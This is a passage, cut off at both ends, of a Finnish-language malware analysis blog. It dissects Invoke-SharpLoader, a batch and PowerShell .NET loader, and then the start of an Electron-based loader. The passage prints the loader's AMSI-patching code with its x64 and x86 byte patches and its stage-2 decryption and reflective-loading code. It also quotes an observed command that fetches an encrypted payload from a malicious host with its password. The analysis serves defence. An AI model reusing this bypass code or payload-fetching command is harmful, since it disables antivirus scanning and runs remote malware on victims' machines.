",[551,1879,1880],{},"del",[551,1882,1883],{},"wait"," ja ripaus uteliaisuutta.",[528,1886,1888,1889],{"id":1887},"_4-deep-dive-powbat","4. Deep Dive: ",[551,1890,1891],{},"pow.bat",[533,1893,535],{},[533,1895,1896,1897,1900],{},"Analysoidussa haittaohjelmakampanjassa komponentti ",[551,1898,1899],{},"Invoke-SharpLoader"," toimii räätälöitynä, muistinvaraisena .NET-loaderina, jonka suoritusvirta on erittäin modulaarinen ja väistelevä. Tässä luvussa pilkomme osiin sen sisäisen arkkitehtuurin, sen analyysin vastaisen strategian AMSI-patchauksen kautta ja sen roolin toisen vaiheen payloadin mahdollistajana.",[721,1902,1904],{"id":1903},"_41-binäärin-ominaisuudet-sharploaderin-batch-kääre","4.1 Binäärin ominaisuudet – SharpLoaderin batch-kääre",[533,1906,727],{},[533,1908,1909,1910,1912],{},"Ennen kuin ulompi kääre ",[551,1911,1891],{}," suoritetaan .NET-payloadin lataamiseksi muistiin, sillä on staattisen analyysin perusteella seuraavat ominaisuudet:",[1403,1914,1915,1923],{},[1406,1916,1917],{},[1409,1918,1919,1921],{},[1412,1920,1414],{},[1412,1922,1417],{},[1419,1924,1925,1934,1943,1953,1962,1972,1982,1991],{},[1409,1926,1927,1931],{},[1424,1928,1929],{},[540,1930,1428],{},[1424,1932,1933],{},"DOS-batch-tiedosto",[1409,1935,1936,1940],{},[1424,1937,1938],{},[540,1939,1438],{},[1424,1941,1942],{},"Skriptipohjainen (ei käännetty binääri)",[1409,1944,1945,1950],{},[1424,1946,1947],{},[540,1948,1949],{},"Tiedostokoko:",[1424,1951,1952],{},"27,79 KB (28454 tavua)",[1409,1954,1955,1959],{},[1424,1956,1957],{},[540,1958,1458],{},[1424,1960,1961],{},"Normaali (pelkkä ASCII-teksti)",[1409,1963,1964,1969],{},[1424,1965,1966],{},[540,1967,1968],{},"Magic:",[1424,1970,1971],{},"DOS batch file, ASCII text",[1409,1973,1974,1979],{},[1424,1975,1976],{},[540,1977,1978],{},"Digitaalinen allekirjoitus:",[1424,1980,1981],{},"Ei havaittu",[1409,1983,1984,1988],{},[1424,1985,1986],{},[540,1987,1478],{},[1424,1989,1990],{},"26 / 61 (analyysin hetkellä)",[1409,1992,1993,1998],{},[1424,1994,1995],{},[540,1996,1997],{},"Uhkaluokitukset:",[1424,1999,2000,620,2003,620,2006,620,2008],{},[551,2001,2002],{},"trojan",[551,2004,2005],{},"downloader",[551,2007,1687],{},[551,2009,2010],{},"agentb",[533,2012,2013,2014,2017],{},"Vaikka kyseessä on yksinkertainen ",[551,2015,2016],{},".bat","-tiedosto, skripti välttää monet staattiset havainnot ja nojaa vahvasti living-off-the-land-tekniikoihin, kuten PowerShelliin, obfuskoitujen ja salattujen payloadien lataamisessa ja suorittamisessa.",[721,2019,2021,2022,1122],{"id":2020},"_42-amsi-ohitustekniikka-luokka-gofor4msi","4.2 AMSI-ohitustekniikka (luokka: ",[551,2023,2024],{},"gofor4msi",[533,2026,727],{},[533,2028,2029],{},"Yksi ensimmäisistä puolustusmekanismeista, jotka SharpLoader ohittaa, on AMSI — Anti-Malware Scan Interface — Microsoftin ominaisuus, joka on integroitu skriptimoottoreihin, kuten PowerShelliin ja Windows Script Hostiin, tarjoamaan reaaliaikaista sisällön skannausta epäilyttävän käyttäytymisen varalta. Haittaohjelmien tekijät yrittävät usein ohittaa AMSI:n välttääkseen päätelaitesuojauksen havaitsemisen.",[533,2031,2032,2033,2036,2037,2040,2041,2044,2045,2048,2049,2052],{},"SharpLoaderissa AMSI-ohitus on toteutettu ",[540,2034,2035],{},"suoralla muistinsisäisellä patchauksella"," ",[551,2038,2039],{},"amsi.dll","-kirjaston ",[551,2042,2043],{},"AmsiScanBuffer","-funktioon. Tämä funktio vastaa normaalisti skriptisisällön analysoinnista ja palauttaa tuloskoodin, joka kertoo, onko sisältö epäilyttävää (",[551,2046,2047],{},"AMSI_RESULT_DETECTED",") vai turvallista (",[551,2050,2051],{},"AMSI_RESULT_CLEAN",").",[533,2054,2055],{},"Asiaan liittyvä muistinsisäinen patchauskoodi on:",[588,2057,2061],{"className":2058,"code":2059,"language":2060,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[551,2062,2063,2068,2074,2080],{"__ignoreMap":594},[1691,2064,2065],{"class":1693,"line":1694},[1691,2066,2067],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1691,2069,2071],{"class":1693,"line":2070},2,[1691,2072,2073],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1691,2075,2077],{"class":1693,"line":2076},3,[1691,2078,2079],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1691,2081,2083],{"class":1693,"line":2082},4,[1691,2084,2085],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[533,2087,2088],{},"Tämä sarja suorittaa seuraavat vaiheet:",[711,2090,2091,2100,2112,2122],{},[607,2092,2093,2096,2097,699],{},[540,2094,2095],{},"Lataa AMSI-DLL"," prosessiin komennolla ",[551,2098,2099],{},"LoadLibrary(\"amsi.dll\")",[607,2101,2102,2105,2106,2108,2109,699],{},[540,2103,2104],{},"Selvittää muistiosoitteen"," funktiolle ",[551,2107,2043],{}," kutsulla ",[551,2110,2111],{},"GetProcAddress()",[607,2113,2114,2117,2118,2121],{},[540,2115,2116],{},"Muuttaa muistin suojauksen"," osoitteessa kutsulla ",[551,2119,2120],{},"VirtualProtect()"," tehden siitä kirjoitettavan.",[607,2123,2124,2108,2127,2130],{},[540,2125,2126],{},"Ylikirjoittaa funktion alun",[551,2128,2129],{},"Marshal.Copy()"," pienellä shellcode-patchilla.",[533,2132,2133],{},"64-bittisiin järjestelmiin sovellettava patch on:",[588,2135,2137],{"className":2058,"code":2136,"language":2060,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[551,2138,2139],{"__ignoreMap":594},[1691,2140,2141],{"class":1693,"line":1694},[1691,2142,2136],{},[533,2144,2145],{},"Tämä vastaa seuraavia käskyjä:",[604,2147,2148,2157],{},[607,2149,2150,2153,2154],{},[551,2151,2152],{},"mov eax, 0x80070057"," → asettaa palautuskoodin Windowsin virhekoodiksi ",[551,2155,2156],{},"E_INVALIDARG",[607,2158,2159,2162],{},[551,2160,2161],{},"ret"," → palaa välittömästi funktiosta",[533,2164,2165,2166,2169],{},"Tämä saa ",[551,2167,2168],{},"AmsiScanBufferin"," käytännössä epäonnistumaan hiljaisesti ja palauttamaan ei-havainto-tuloksen, mikä neutraloi AMSI-tarkistukset. Haittaohjelma voi nyt suorittaa skriptejä tai .NET-koodia, joka muuten laukaisisi virustorjuntahälytyksiä.",[533,2171,2172],{},"Jos suoritus tapahtuu 32-bittisessä järjestelmässä, sovelletaan eri patchia:",[588,2174,2176],{"className":2058,"code":2175,"language":2060,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[551,2177,2178],{"__ignoreMap":594},[1691,2179,2180],{"class":1693,"line":1694},[1691,2181,2175],{},[533,2183,2184],{},"Tämä heijastaa samaa tavoitetta — \"puhtaan\" tuloksen pakottamista — mutta mukautettuna x86-kutsukonventioon.",[533,2186,2187,2188,620,2191,1264,2194,2197],{},"Raakojen P/Invoke-kutsujen, kuten ",[551,2189,2190],{},"LoadLibrary",[551,2192,2193],{},"GetProcAddress",[551,2195,2196],{},"VirtualProtect",", käyttö mahdollistaa patchauksen dynaamisesti ja ilman korkean tason API-rajapintoja, joita EDR-työkalut saattaisivat valvoa. Menetelmä on tiivis, tehokas ja jättää minimaalisesti forensisia artefakteja.",[533,2199,2200,2201,2204],{},"Yhteenvetona tämä AMSI-ohitustekniikka on ",[540,2202,2203],{},"matalan tason, suora muistihyökkäys virustorjuntarajapintaan",", joka toteutetaan millisekunneissa ajon aikana. Se on voimallinen esimerkki siitä, miksi käyttäytymisen valvonta ja muistin tarkastelu ovat välttämättömiä nykyaikaisissa päätelaitesuojauksissa.",[721,2206,2208],{"id":2207},"_43-toisen-vaiheen-payloadin-käsittely","4.3 Toisen vaiheen payloadin käsittely",[533,2210,727],{},[533,2212,2213,2214,2217],{},"Kun AMSI-ohitus on valmis, loader siirtyy hakemaan ja valmistelemaan toisen vaiheen payloadia. Tätä payloadia ei ole upotettu loaderiin itseensä, vaan se haetaan joko etäpalvelimelta tai luetaan levyltä — riippuen siitä, miten loaderia kutsutaan ",[551,2215,2216],{},"$location","-parametrin kautta.",[533,2219,2220,2221,2224,2225,2228,2229,2232,2233,2236,2237,2240],{},"Jos sijainti alkaa merkkijonolla ",[551,2222,2223],{},"http",", se tulkitaan URL-osoitteeksi ja loader lataa payloadin funktiolla ",[551,2226,2227],{},"Get_Stage2()"," käyttäen ",[551,2230,2231],{},"HttpWebRequest","-luokkaa. Jos kyseessä on paikallinen polku, ",[551,2234,2235],{},"Get_Stage2disk()"," lukee sisällön suoraan tiedostojärjestelmästä. Kummassakin tapauksessa odotettu tiedostosisältö on ",[540,2238,2239],{},"Base64-koodattu, GZip-pakattu ja AES-salattu"," möykky.",[533,2242,2243,2244,2247],{},"Loader suorittaa sen jälkeen ",[540,2245,2246],{},"nelivaiheisen dekoodaus- ja salauksenpurkuputken"," kokonaan muistissa:",[711,2249,2250,2256,2266,2276],{},[607,2251,2252,2255],{},[540,2253,2254],{},"Base64-dekoodaus",": Muuntaa koodatun merkkijonon raakatavuiksi. Tämän vaiheen tarkoitus on hämärtää varsinainen binäärisisältö staattisilta tarkastustyökaluilta ja estää suoraviivainen kuvioiden tunnistus.",[607,2257,2258,2261,2262,2265],{},[540,2259,2260],{},"GZip-purku",": Dekoodatut tavut syötetään ",[551,2263,2264],{},"GZipStream","-luokalle, joka purkaa payloadin. Pakkaus pienentää tiedostokokoa ja lisää uuden obfuskointikerroksen.",[607,2267,2268,2271,2272,2275],{},[540,2269,2270],{},"AES-salauksen purku",": Pakatut tavut puretaan AES-algoritmilla (Rijndael) CBC-tilassa. Avain johdetaan ajon aikana käyttäjän antamasta salasanasta SHA-256-tiivisteellä yhdistettynä PBKDF2:een (",[551,2273,2274],{},"Rfc2898DeriveBytes",") ja staattiseen suolaan.",[607,2277,2278,2281],{},[540,2279,2280],{},"Suolan poisto",": Purettu tulos sisältää edelleen kiinteän pituisen suolaetuliitteen (4 tavua). Nämä tavut poistetaan käsin, jotta saadaan puhdas binäärimöykky, joka edustaa kelvollista .NET-assemblya.",[533,2283,2284],{},"Salauksenpurkuputki suoritetaan näin:",[588,2286,2288],{"className":2058,"code":2287,"language":2060,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[551,2289,2290,2295],{"__ignoreMap":594},[1691,2291,2292],{"class":1693,"line":1694},[1691,2293,2294],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1691,2296,2297],{"class":1693,"line":2070},[1691,2298,2299],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[533,2301,2302,2303,2306],{},"Tässä ",[551,2304,2305],{},"AES_Decrypt()"," on räätälöity funktio, joka kapseloi Rijndael-algoritmin ja on konfiguroitu 256-bittisellä avaimella ja 128-bittisellä IV:llä (alustusvektorilla), jotka kummatkin johdetaan salasanasta.",[533,2308,2309],{},[540,2310,2311],{},"Keskeisiä suunnitteluhavaintoja:",[604,2313,2314,2317,2320],{},[607,2315,2316],{},"AES-CBC:n käyttö PBKDF2:n kanssa tekee salasanan raa'an voiman murtamisesta ei-triviaalia.",[607,2318,2319],{},"Koska salauksen purku tapahtuu muistissa, välituloksia ei kirjoiteta koskaan levylle — mikä vähentää forensisia artefakteja.",[607,2321,2322],{},"Jos annetaan väärä salasana, salauksen purku epäonnistuu hiljaisesti tai tuottaa virheellistä dataa, mikä voi johtaa epäonnistuneeseen suoritukseen tai vaikeasti jäljitettäviin poikkeuksiin.",[533,2324,2325],{},"Yhteenvetona tämä monivaiheinen payloadin käsittelytapa nostaa merkittävästi kynnystä sekä signatuuri- että heuristiikkapohjaiselle staattiselle havaitsemiselle. Ilman elävää suoritusta tai loaderin käyttäytymisen syvällistä tarkastelua puolustajat eivät todennäköisesti paljasta upotettua payloadia, ellei heillä ole myös salasanaa ja tarkkaa dekoodauslogiikkaa.",[721,2327,2329],{"id":2328},"_44-dynaaminen-assemblyn-lataus","4.4 Dynaaminen assemblyn lataus",[533,2331,727],{},[533,2333,2334],{},"Kun toisen vaiheen payloadin salaus on purettu onnistuneesti, syntynyt tavutaulukko edustaa kelvollista .NET-assemblya. Sen sijaan että tämä assembly kirjoitettaisiin levylle — mikä on yleinen indikaattori virustorjunta- tai EDR-järjestelmille — SharpLoader suorittaa sen suoraan muistissa reflektion avulla:",[588,2336,2338],{"className":2058,"code":2337,"language":2060,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[551,2339,2340,2345],{"__ignoreMap":594},[1691,2341,2342],{"class":1693,"line":1694},[1691,2343,2344],{},"Assembly a = Assembly.Load(bin);\n",[1691,2346,2347],{"class":1693,"line":2070},[1691,2348,2349],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[533,2351,2352,2353,2356],{},"Tätä tekniikkaa kutsutaan ",[540,2354,2355],{},"tiedostottomaksi suoritukseksi",". Se on erittäin väistelevä, koska se:",[604,2358,2359,2362,2365],{},[607,2360,2361],{},"Välttää levyn koskettamisen eikä jätä tiedostopohjaisia IOC-indikaattoreita (kompromissi-indikaattoreita)",[607,2363,2364],{},"Vaikeuttaa perinteistä forensista talteenottoa, koska levylle ei tallenneta binääriä",[607,2366,2367],{},"Väistää staattisen signatuuripohjaisen havaitsemisen, koska virustorjuntamoottorit nojaavat usein tiedostojen skannaamiseen",[533,2369,2370,2371,2374,2375,2378],{},"Jos ",[551,2372,2373],{},"EntryPoint"," ei ole ",[551,2376,2377],{},"static",", loader sisältää varalogiikan:",[588,2380,2382],{"className":2058,"code":2381,"language":2060,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[551,2383,2384,2389,2394,2399,2404,2410],{"__ignoreMap":594},[1691,2385,2386],{"class":1693,"line":1694},[1691,2387,2388],{},"MethodInfo method = a.EntryPoint;\n",[1691,2390,2391],{"class":1693,"line":2070},[1691,2392,2393],{},"if (method != null)\n",[1691,2395,2396],{"class":1693,"line":2076},[1691,2397,2398],{},"{\n",[1691,2400,2401],{"class":1693,"line":2082},[1691,2402,2403],{},"    object o = a.CreateInstance(method.Name);\n",[1691,2405,2407],{"class":1693,"line":2406},5,[1691,2408,2409],{},"    method.Invoke(o, null);\n",[1691,2411,2413],{"class":1693,"line":2412},6,[1691,2414,2415],{},"}\n",[533,2417,2418,2419,2422],{},"Tämä varmistaa yhteensopivuuden assemblyjen kanssa, jotka vaativat suoritukseen instantioidun olion (esim. ",[551,2420,2421],{},"public int Main()"," luokan instanssin sisällä). Koodi luo dynaamisesti luokan instanssin ja kutsuu sitten sisääntulopisteen metodia.",[533,2424,2425],{},"Yhdistettynä AMSI-ohitukseen ja muistinsisäiseen salauksen purkuun tämä mekanismi toimittaa lopullisen payloadin suoritukseen huomaamattomasti ja täysin tiedostottomasti — nykyaikaisen, välttelevän haittaohjelman tunnusmerkki.",[721,2427,2429],{"id":2428},"_45-komentoriviparametrit-ja-joustavuus","4.5 Komentoriviparametrit ja joustavuus",[533,2431,727],{},[533,2433,2434,2435,2437],{},"PowerShell-funktio ",[551,2436,1899],{}," on suunniteltu toimimaan joustavana kääreenä mielivaltaisille .NET-payloadeille. Se tukee sekä payloadin sijainnin että argumenttien dynaamista syöttöä, jolloin yhtä loader-instanssia voidaan käyttää uudelleen useissa operaatioissa tai kampanjoissa.",[533,2439,2440],{},[540,2441,2442],{},"Tuetut parametrit:",[604,2444,2445,2451,2457,2477],{},[607,2446,2447,2450],{},[551,2448,2449],{},"-location"," (pakollinen): Määrittää joko URL-osoitteen tai paikallisen tiedostopolun toisen vaiheen salattuun payloadiin.",[607,2452,2453,2456],{},[551,2454,2455],{},"-password"," (pakollinen): Käytetään AES-salauksenpurkuavaimen johtamiseen.",[607,2458,2459,620,2462,620,2465,2468,2469,2472,2473,2476],{},[551,2460,2461],{},"-argument",[551,2463,2464],{},"-argument2",[551,2466,2467],{},"-argument3"," (valinnaisia): Nämä välitetään suoraan ",[551,2470,2471],{},".NET","-assemblyn ",[551,2474,2475],{},"Main()","-metodille reflektion kautta.",[607,2478,2479,2482],{},[551,2480,2481],{},"-noArgs",": Käynnistää suorituksen välittämättä toisen vaiheen payloadille parametreja.",[533,2484,2485],{},"Sisäisesti argumentit kerätään ja välitetään näin:",[588,2487,2489],{"className":1685,"code":2488,"language":1687,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[551,2490,2491,2496],{"__ignoreMap":594},[1691,2492,2493],{"class":1693,"line":1694},[1691,2494,2495],{},"object[] cmd = args.Skip(2).ToArray();\n",[1691,2497,2498],{"class":1693,"line":2070},[1691,2499,2500],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[533,2502,2503],{},"Tämä tarkoittaa, että .NET-payloadilta odotetaan seuraavanlaista allekirjoitusta:",[588,2505,2507],{"className":2058,"code":2506,"language":2060,"meta":594,"style":594},"static void Main(string[] args)\n",[551,2508,2509],{"__ignoreMap":594},[1691,2510,2511],{"class":1693,"line":1694},[1691,2512,2506],{},[533,2514,2515,2516,2518],{},"tai se palautuu hallitusti parametrittomaan ",[551,2517,2475],{},"-varianttiin varalogiikan kautta. Tämä käyttäytyminen antaa red teameille tai haittaohjelmien tekijöille mahdollisuuden luoda monikäyttöisiä toisia vaiheita, jotka voivat suorittaa eri toimintoja syötteen mukaan — esimerkiksi käynnistää implantin, kerätä järjestelmätietoja tai käynnistää C2-viestinnän.",[533,2520,2521],{},"Tällainen modulaarisuus ja konfiguroitavuus ovat kehittyneiden haittaohjelmakehysten keskeisiä ominaisuuksia, ja ne havainnollistavat, miten skriptipohjaiset loaderit voivat toimia erittäin mukautuvina suoritusympäristöinä alavirran payloadeille.",[721,2523,2525],{"id":2524},"_46-käyttöesimerkki-käytännöstä","4.6 Käyttöesimerkki käytännöstä",[533,2527,727],{},[533,2529,2530],{},"Havainnollistaakseni SharpLoaderin todellista suoritusta aidossa kampanjassa, tarkastellaan seuraavaa luonnossa havaittua kutsua:",[588,2532,2534],{"className":1685,"code":2533,"language":1687,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[551,2535,2536],{"__ignoreMap":594},[1691,2537,2538],{"class":1693,"line":1694},[1691,2539,2533],{},[533,2541,2542],{},"Tämä esimerkki tuo esiin SharpLoaderin tyypillisen käyttötapauksen:",[604,2544,2545,2559,2571,2581],{},[607,2546,2547,2550,2551,2554,2555,2558],{},[540,2548,2549],{},"Sijaintiargumentti",": URL osoittaa etäpalvelimelle, joka ylläpitää tiedostoa ",[551,2552,2553],{},"calc.enc",", kätkettyä toisen vaiheen payloadia. Päätepiste sijaitsee laillisen näköisen ",[551,2556,2557],{},".well-known","-hakemiston alla, jota käytetään usein HTTPS-sertifikaattien validointiin, mikä auttaa sulauttamaan URL-osoitteen lailliseen verkkoliikenteeseen.",[607,2560,2561,981,2564,2566,2567,2570],{},[540,2562,2563],{},"Payloadin ominaisuudet",[551,2565,2553],{}," on ",[540,2568,2569],{},"kolminkertaisesti obfuskoitu tiedosto"," — Base64-koodattu, GZip-pakattu ja AES-salattu. Tämä obfuskointiputki varmistaa, että payload on läpinäkymätön useimmille havaitsemismekanismeille, ellei se suoriteta ja pureta täysin muistissa.",[607,2572,2573,2576,2577,2580],{},[540,2574,2575],{},"Salasana-argumentti",": Merkkijonoa ",[551,2578,2579],{},"UwUFufu1"," käytetään ajon aikana AES-avaimen johtamiseen SHA-256:n ja PBKDF2:n avulla. Ilman tätä salasanaa payloadia ei voi purkaa, mikä tekee offline-analyysistä ilman kontekstia lähes mahdottomaksi.",[607,2582,2583,2586,2587,2589],{},[540,2584,2585],{},"Ei lisäargumentteja",": Kytkin ",[551,2588,2481],{}," osoittaa, ettei puretulle .NET-assemblylle välitetä komentoriviparametreja, mikä käynnistää sen oletussuorituspolun.",[533,2591,2592,2593,2596],{},"Tämä huomaamaton kutsuketju kapseloi SharpLoaderin ydintarkoituksen: ",[540,2594,2595],{},"tiedostoton, mukautuva ja turvattu payloadin toimitus"," yksinkertaisella PowerShell-syntaksilla, maksimaalisella obfuskoinnilla ja väistelyllä.",[721,2598,2600],{"id":2599},"_47-yhteenveto","4.7 Yhteenveto",[533,2602,727],{},[533,2604,2605,2607],{},[551,2606,1899],{},"-rakennelma on esimerkki erittäin hienostuneesta ja välttelevästä haittaohjelman vaiheistustekniikasta, joka hyödyntää järjestelmän omia komponentteja, reflektiota ja kryptografiaa toimien lähes kokonaan muistissa.",[533,2609,2610],{},[540,2611,2612],{},"Keskeiset kohokohdat:",[604,2614,2615,2623,2629,2635],{},[607,2616,2617,981,2620,2622],{},[540,2618,2619],{},"AMSI:n ohittaminen",[551,2621,2168],{}," suora muistinsisäinen patchaus kytkee virustorjuntatarkastuksen pois ilman havaittavia API-kutsuja.",[607,2624,2625,2628],{},[540,2626,2627],{},"Turvattu payloadin käsittely",": Salattujen ja pakattujen toisen vaiheen payloadien hakeminen varmistaa luottamuksellisuuden ja lisää useita väistelykerroksia.",[607,2630,2631,2634],{},[540,2632,2633],{},"Pelkästään muistissa tapahtuva suoritus",": Purettuja payloadeja ei koskaan kirjoiteta levylle, mikä tekee havaitsemisesta perinteisillä tiedostopohjaisilla skannereilla lähes mahdottomaksi.",[607,2636,2637,2640],{},[540,2638,2639],{},"Modulaarinen ja uudelleenkäytettävä arkkitehtuuri",": PowerShell-parametrien kautta SharpLoaderia voidaan käyttää joustavasti uudelleen eri kampanjoissa vaihtelevilla payloadeilla ja ajonaikaisilla käyttäytymisillä.",[528,2642,2644,2645,2647],{"id":2643},"_5-deep-dive-mainexe-electron-pohjainen-haittaohjelman-loader","5. Deep Dive: ",[551,2646,578],{}," – Electron-pohjainen haittaohjelman loader",[533,2649,535],{},[533,2651,2652,2653,2655,2656,2659,2660,2662,2663,2665],{},"Reverse engineeringin aikana kävi selväksi, että Microsoft Defender for Endpointin merkitsemä ",[551,2654,578],{}," ei ollut tavanomainen binääri vaan ",[540,2657,2658],{},"Electron-pohjainen haittaohjelman loader",". Se toimitettiin arkistossa nimeltä ",[551,2661,1833],{},", jonka ",[551,2664,574],{}," latasi ja purki ajon aikana. Purettuna sen rakenne ja sisältö muistuttivat vahvasti tyypillistä Electron-sovellusta.",[721,2667,2669],{"id":2668},"_51-electron-rakenteen-tunnistaminen","5.1 Electron-rakenteen tunnistaminen",[533,2671,727],{},[533,2673,2674],{},"Purettu kansio sisälsi muun muassa seuraavat tiedostot:",[604,2676,2677,2688,2696,2702],{},[607,2678,2679,620,2682,620,2685],{},[551,2680,2681],{},"chrome_100_percent.pak",[551,2683,2684],{},"v8_context_snapshot.bin",[551,2686,2687],{},"d3dcompiler_47.dll",[607,2689,2690,1264,2693],{},[551,2691,2692],{},"LICENSES.chromium",[551,2694,2695],{},"LICENSES.electron",[607,2697,2698,2699,2701],{},"Suuri ",[551,2700,578],{},"-binääri (~150 MB)",[607,2703,2704,2706,2707,2709,2710],{},[551,2705,1843],{},"-kansio, joka sisältää ",[551,2708,1055],{},"-arkiston ja toisen binäärin ",[551,2711,2712],{},"elevate.exe",[533,2714,2715],{},[755,2716],{"alt":2717,"src":2718},"Packaged Windows 64-bit version of the desktop app","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[533,2720,2721,2722,2724],{},"Nämä kaikki ovat vahvoja merkkejä Electron-sovelluksesta, joka käyttää Chromiumia ja Node.js:ää JavaScript-pohjaisten työpöytäsovellusten paketointiin. ",[551,2723,2712],{},":n läsnäolo, allekirjoitettu Microsoft-binääri, jota käytetään usein oikeuksien korottamiseen, herätti lisää epäilyksiä—sitä voitaisiin väärinkäyttää lapsiprosessien käynnistämiseen korotetuin oikeuksin.",[721,2726,2728],{"id":2727},"_52-purkaminen-ja-staattinen-analyysi-syväsukellus","5.2 Purkaminen ja staattinen analyysi (syväsukellus)",[533,2730,727],{},[533,2732,2733,2734,2736,2737,2739,2740,2742,2743,2745,2746,2749],{},"Sen sijaan että olisin suorittanut ",[551,2735,578],{},":n, valitsin staattisen analyysin lähestymistavan välttääkseni minkäänlaisen elävän käyttäytymisen laukaisemisen. Alkuperäinen epäilyni siitä, että ",[551,2738,578],{}," oli rakennettu Electronilla, vahvistui, kun löysin ",[551,2741,1055],{},"-tiedoston ",[551,2744,1843],{},"-hakemistosta. Electron-sovelluksissa tämä arkisto sisältää kaiken sovelluksen ydinlogiikan, kuten JavaScript-tiedostot, konfiguraation (",[551,2747,2748],{},"package.json",") ja resurssit, pakattuna räätälöityyn muotoon suorituskyvyn ja obfuskoinnin vuoksi.",[533,2751,2752,2755,2756,2759],{},[551,2753,2754],{},".asar","-arkisto on käytännössä vain luettava, suorituskykyinen säiliö, joka muistuttaa ",[551,2757,2758],{},".zip","-muotoa mutta on optimoitu Electronin ajoympäristölle. Vaikka sitä ei ole salattu, se hämärtää pääsyä koodiin ja tekee staattisesta analyysistä vaikeampaa, ellei sitä pureta.",[533,2761,2762,2763,2766],{},"Purkamiseen käytin virallista ",[551,2764,2765],{},"asar","-työkalua, joka on saatavilla npm:n kautta. Vaiheet olivat:",[588,2768,2772],{"className":2769,"code":2770,"language":2771,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[551,2773,2774,2791],{"__ignoreMap":594},[1691,2775,2776,2780,2784,2788],{"class":1693,"line":1694},[1691,2777,2779],{"class":2778},"sScJk","npm",[1691,2781,2783],{"class":2782},"sZZnC"," install",[1691,2785,2787],{"class":2786},"sj4cs"," -g",[1691,2789,2790],{"class":2782}," asar\n",[1691,2792,2793,2795,2798,2801],{"class":1693,"line":2070},[1691,2794,2765],{"class":2778},[1691,2796,2797],{"class":2782}," extract",[1691,2799,2800],{"class":2782}," app.asar",[1691,2802,2803],{"class":2782}," extracted_app\n",[533,2805,2806,2807,2810],{},"Yllä olevien komentojen suorittaminen purki sisällön työkansioon (",[551,2808,2809],{},"extracted_app/","), mikä paljasti varsinaisen JavaScript-sovelluskoodin. Tähän kuului:",[604,2812,2813,2834,2842],{},[607,2814,2815,620,2818,620,2821,2824,2825,2827,2828,2830,2831,2833],{},[551,2816,2817],{},"jscryter.js",[551,2819,2820],{},"input.js",[551,2822,2823],{},"obf.js",": Nämä skriptit muodostavat haittaohjelman logiikan. ",[551,2826,2817],{}," näyttää orkestroivan payloadin toimitusta, ",[551,2829,2820],{}," määrittelee konfiguraatiovakioita tai komentologiikkaa, ja ",[551,2832,2823],{}," on raskaasti obfuskoitu skripti, joka todennäköisesti sisältää ydinpayloadin logiikan.",[607,2835,2836,620,2838,2841],{},[551,2837,2748],{},[551,2839,2840],{},"package-lock.json",": Määrittelevät ajoympäristön",[607,2843,2844,2847,2848,620,2851,620,2854],{},[551,2845,2846],{},"node_modules/",": Sisältää kaikki riippuvuudet, kuten ",[551,2849,2850],{},"axios",[551,2852,2853],{},"adm-zip",[551,2855,2856],{},"child_process",[533,2858,2859,2860,2862,2863,2865],{},"Puretun sisällön avulla haittaohjelman logiikkaan saatiin täysi näkyvyys ilman suoritusta, mikä oli olennaista turvallisen reverse engineeringin kannalta. Tämä vaihe vahvisti, että ",[551,2861,578],{}," toimi puhtaasti ajonaikaisena kääreenä ",[551,2864,1055],{},"-arkistoon kätketyille haitallisille skripteille.",[721,2867,2869],{"id":2868},"_53-mitä-staattinen-analyysi-paljasti","5.3. Mitä staattinen analyysi paljasti",[533,2871,727],{},[533,2873,2874],{},"Koodia manuaalisesti tarkastelemalla vahvistin, että haittaohjelman logiikka oli täysin JavaScript-pohjaista ja suoritettiin Electronin ajoympäristössä. Skriptit oli suunniteltu tekemään seuraavaa:",[604,2876,2877,2884,2890,2893],{},[607,2878,2879,2880,2883],{},"Ladata salattu payload (",[551,2881,2882],{},"pyth.zip",") vara-URL-osoitteista",[607,2885,2886,2887,2889],{},"Purkaa arkisto ",[551,2888,2853],{},"-kirjastolla",[607,2891,2892],{},"Tehdä merkkijonokorvauksia tiettyjen tunnistetietojen tai lompakko-osoitteiden injektoimiseksi",[607,2894,2895,2896,2898,2899,1264,2902,2904],{},"Käynnistää syntynyt Python-tiedosto (",[551,2897,582],{},") kutsulla ",[551,2900,2901],{},"child_process.exec()",[551,2903,553],{},":llä",[533,2906,2907,2908,2914],{},"Ratkaisevaa on, että loader sisälsi myös logiikan, joka ",[540,2909,2910,2911,2913],{},"kopioi ",[551,2912,574],{},":n käyttäjän AppData-hakemistoon",", jos sitä ei ollut siellä jo—mikä vahvisti persistenceä ja ylläpiti 